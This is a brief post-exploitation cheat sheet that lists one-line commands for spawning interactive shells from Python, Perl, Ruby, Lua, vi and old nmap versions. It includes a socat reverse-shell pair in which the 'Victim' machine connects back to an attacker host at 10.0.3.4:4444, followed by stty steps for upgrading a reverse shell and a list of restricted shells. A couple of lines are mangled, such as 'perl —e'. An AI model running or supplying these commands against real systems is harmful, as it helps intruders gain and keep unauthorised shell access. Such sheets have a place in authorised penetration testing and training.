Spawning TTY Shells

Shell Spawning

Python

python -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/sh")'

Bash

echo os.system('/bin/bash')
/bin/sh -i

Perl

perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";

Ruby

ruby: exec "/bin/sh"

LUA

lua: os.execute('/bin/sh')

From Within IRB

exec "/bin/sh"

Inside vi

:!bash
:set shell=/bin/bash:shell

Nmap <=5.21

nmap -V
nmap --interactive
!sh

Socat

# Listener

socat file:`tty`,raw,echo=0 tcp-listen:4444

# Victim

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

 

STTY Options

In Reverse Shell

$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

In Kali

$ stty raw -echo
$ fg
press enter

In Reverse Shell

$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>

sh -r 
rsh

rbash
bash -r
bash --restricted

rksh
ksh -r